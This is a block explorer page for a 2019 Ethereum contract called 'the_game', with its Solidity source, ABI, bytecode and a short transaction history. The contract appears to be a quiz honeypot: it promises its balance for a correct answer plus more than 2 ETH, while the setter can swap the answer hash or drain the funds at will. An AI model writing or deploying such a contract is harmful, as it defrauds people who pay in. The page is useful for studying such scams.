ETH Price: $2,733.86 (+5.06%)
Gas: 1.05 Gwei

Contract

0x496676b297799Eeb9446b9D808C6051D33c6Cb58
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Stop Game75009922019-04-04 9:51:362141 days ago1554371496IN
0x496676b2...D33c6Cb58
0 ETH0.00002961
Activate74812792019-04-01 7:31:292144 days ago1554103889IN
0x496676b2...D33c6Cb58
8 ETH0.000032031

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block
From
To
75009922019-04-04 9:51:362141 days ago1554371496
0x496676b2...D33c6Cb58
8 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
the_game

Compiler Version
v0.4.25+commit.59dbf8f1

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2019-04-01
*/

pragma solidity ^0.4.25;

contract the_game
{

    function Try(string _response) external payable {
        require(msg.sender == tx.origin);

        if(responseHash == keccak256(_response) && msg.value > 2 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }

    string public question;

    address questionSender;

    bytes32 responseHash;

    bytes32 questionerPin = 0xc3cd597e5f8b74359fc8608fd3534d4b836e49647ba0d024104af0a02b5863b4;

    function Activate(bytes32 _questionerPin, string _question, string _response) public payable {
        if(keccak256(_questionerPin)==questionerPin) 
        {
            responseHash = keccak256(_response);
            question = _question;
            questionSender = msg.sender;
            questionerPin = 0x0;
        }
    }

    function StopGame() public payable {
        require(msg.sender==questionSender);
        msg.sender.transfer(this.balance);
    }

    function NewQuestion(string _question, bytes32 _responseHash) public payable {
        if(msg.sender==questionSender){
            question = _question;
            responseHash = _responseHash;
        }
    }

    function newQuestioner(address newAddress) public {
        if(msg.sender==questionSender)questionSender = newAddress;
    }

    function() public payable{}
}

Contract Security Audit

Contract ABI

[{"constant":false,"inputs":[{"name":"_response","type":"string"}],"name":"Try","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_questionerPin","type":"bytes32"},{"name":"_question","type":"string"},{"name":"_response","type":"string"}],"name":"Activate","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_responseHash","type":"bytes32"}],"name":"NewQuestion","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"question","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newAddress","type":"address"}],"name":"newQuestioner","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"StopGame","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

60806040527fc3cd597e5f8b74359fc8608fd3534d4b836e49647ba0d024104af0a02b5863b460035534801561003457600080fd5b5061058e806100446000396000f3006080604052600436106100775763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416633853682c81146100795780633afdbd831461008c5780633e3ee8591461011b5780633fad9ae01461016957806359988dce146101f3578063f50ab24714610221575b005b6100776004803560248101910135610229565b60408051602060046024803582810135601f810185900485028601850190965285855261007795833595369560449491939091019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497506102a29650505050505050565b6040805160206004803580820135601f810184900484028501840190955284845261007794369492936024939284019190819084018382808284375094975050933594506103559350505050565b34801561017557600080fd5b5061017e61038f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101b85781810151838201526020016101a0565b50505050905090810190601f1680156101e55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ff57600080fd5b5061007773ffffffffffffffffffffffffffffffffffffffff6004351661041d565b610077610476565b33321461023557600080fd5b8181604051808383808284376040519201829003909120600254149350508215915061026a90505750671bc16d674ec8000034115b1561029e576040513390303180156108fc02916000818181858888f1935050505015801561029c573d6000803e3d6000fd5b505b5050565b600354604080518581529051908190036020019020141561029c57806040518082805190602001908083835b602083106102ed5780518252601f1990920191602091820191016102ce565b51815160209384036101000a600019018019909216911617905260405191909301819003902060025550845161032b935060009250908501906104c7565b506001805473ffffffffffffffffffffffffffffffffffffffff1916331790556000600355505050565b60015473ffffffffffffffffffffffffffffffffffffffff1633141561029e5781516103889060009060208501906104c7565b5060025550565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104155780601f106103ea57610100808354040283529160200191610415565b820191906000526020600020905b8154815290600101906020018083116103f857829003601f168201915b505050505081565b60015473ffffffffffffffffffffffffffffffffffffffff16331415610473576001805473ffffffffffffffffffffffffffffffffffffffff191673ffffffffffffffffffffffffffffffffffffffff83161790555b50565b60015473ffffffffffffffffffffffffffffffffffffffff16331461049a57600080fd5b6040513390303180156108fc02916000818181858888f19350505050158015610473573d6000803e3d6000fd5b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061050857805160ff1916838001178555610535565b82800160010185558215610535579182015b8281111561053557825182559160200191906001019061051a565b50610541929150610545565b5090565b61055f91905b80821115610541576000815560010161054b565b905600a165627a7a72305820dfeaf997dcce7868901dab35e036c16c2505d3e949d23b4f650fca634736bae10029

Deployed Bytecode

0x6080604052600436106100775763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416633853682c81146100795780633afdbd831461008c5780633e3ee8591461011b5780633fad9ae01461016957806359988dce146101f3578063f50ab24714610221575b005b6100776004803560248101910135610229565b60408051602060046024803582810135601f810185900485028601850190965285855261007795833595369560449491939091019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497506102a29650505050505050565b6040805160206004803580820135601f810184900484028501840190955284845261007794369492936024939284019190819084018382808284375094975050933594506103559350505050565b34801561017557600080fd5b5061017e61038f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101b85781810151838201526020016101a0565b50505050905090810190601f1680156101e55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ff57600080fd5b5061007773ffffffffffffffffffffffffffffffffffffffff6004351661041d565b610077610476565b33321461023557600080fd5b8181604051808383808284376040519201829003909120600254149350508215915061026a90505750671bc16d674ec8000034115b1561029e576040513390303180156108fc02916000818181858888f1935050505015801561029c573d6000803e3d6000fd5b505b5050565b600354604080518581529051908190036020019020141561029c57806040518082805190602001908083835b602083106102ed5780518252601f1990920191602091820191016102ce565b51815160209384036101000a600019018019909216911617905260405191909301819003902060025550845161032b935060009250908501906104c7565b506001805473ffffffffffffffffffffffffffffffffffffffff1916331790556000600355505050565b60015473ffffffffffffffffffffffffffffffffffffffff1633141561029e5781516103889060009060208501906104c7565b5060025550565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104155780601f106103ea57610100808354040283529160200191610415565b820191906000526020600020905b8154815290600101906020018083116103f857829003601f168201915b505050505081565b60015473ffffffffffffffffffffffffffffffffffffffff16331415610473576001805473ffffffffffffffffffffffffffffffffffffffff191673ffffffffffffffffffffffffffffffffffffffff83161790555b50565b60015473ffffffffffffffffffffffffffffffffffffffff16331461049a57600080fd5b6040513390303180156108fc02916000818181858888f19350505050158015610473573d6000803e3d6000fd5b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061050857805160ff1916838001178555610535565b82800160010185558215610535579182015b8281111561053557825182559160200191906001019061051a565b50610541929150610545565b5090565b61055f91905b80821115610541576000815560010161054b565b905600a165627a7a72305820dfeaf997dcce7868901dab35e036c16c2505d3e949d23b4f650fca634736bae10029

Swarm Source

bzzr://dfeaf997dcce7868901dab35e036c16c2505d3e949d23b4f650fca634736bae1

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.